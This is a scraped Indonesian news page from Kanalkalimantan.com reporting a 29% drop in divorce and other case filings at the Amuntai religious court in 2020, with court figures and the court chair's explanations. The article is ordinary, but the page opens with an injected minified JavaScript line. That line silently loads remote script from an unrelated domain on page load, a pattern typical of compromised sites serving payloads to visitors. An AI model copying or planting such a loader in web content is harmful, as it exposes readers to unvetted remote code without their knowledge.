(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Masa pandemi virus corona (Covid-19), angka perceraian di Kabupaten Hulu Sungai Utara (HSU) malah cenderung mengalami penurunan.
Hal ini tentunya berbanding terbalik dengan beberapa daerah lain yang mengalami lonjakan perceraian di masa pandemi seperti sekarang ini.
Ketua Pengadilan Agama (PA) Kelas 1B Amuntai Rusdiansyah kepada Kanalkalimantan.com, Rabu (30/12/2020) siang, membenarkan penurunan angka perceraian dan perkara-perkara lainnya tersebut di karenakan beberapa alasan.
Dikatakanya, dalam kurun waktu satu tahun terakhir, jumlah perkara yang diterima pada Pengadilan Agama Amuntai Kelas 1B mengalami penurunan.
Pada tahun 2019 perkara yang didaftarkan berjumlah 1.262 perkara, sedangkan di tahun 2020 jumlahnya 895 perkara atau mengalami penurunan sebesar 29%.
“Perkara yang didaftarkan di Pengadilan Agama Amuntai ini didominasi oleh perkara cerai gugat, kemudian dispensasi kawin, cerai talak dan istbat nikah,” ujar Rusdiansyah saat ditemui di kantor.
Adapun penyebab penurunan angka perceraian tahun 2020 ini, menurutnya disamping kondisi pandemi yang masih berlangsung, adanya batasan umur dispensasi perkawinan juga menjadi alasan.
“Sekarang dispensasi perkawinan dibatasi karena adanya perubahan Undang-Undang perkawinan pada batas usia perkawinan, dimana dahulunya 16 tahun sekarang menjadi 19 tahun,” beber Rusdiansyah.
Namun, tambahnya selain alasan-alasan tersebut untuk memastikan penyebab pasti penurunan angka perceraian tersebut perlu dilakukan penelitian lebih lanjut.
Adapun terkait perkara perceraian, ia menyebutkan lebih didominasi atau diajukan oleh pihak perempuan melalui cerai gugat yakni sebanyak 447 perkara. Dibandingkan dengan cerai talak yang dilayangkan oleh pihak laki-laki yakni sebanyak 119 perkara.
Terkait alasan gugatan perceraian, ia mengungkapkan disamping faktor ekonomi yang menimbulkan konflik di rumah tangga, kekerasan di rumah tangga sampai alasan-alasan lainnya.
Sementara itu, untuk jumlah perkara yang berhasil dimediasi pada tahun 2020 terdapat 10 perkara, berhasil diselesaikan melalui proses mediasi dari 116 perkara yang dapat dimediasi.
“Selama ini perkara yang paling banyak kita mediasikan yaitu masalah pembagian harta gono-gini,” ujarnya.
Dirinya mengaku bersyukur seluruh mediasi yang selama ini berhasil diselesaikan, juga berkat dukungan dari para pengacara yang sungguh-sungguh ingin menyelesaikan permasalahan dengan cara berdamai. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More
Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
This website uses cookies.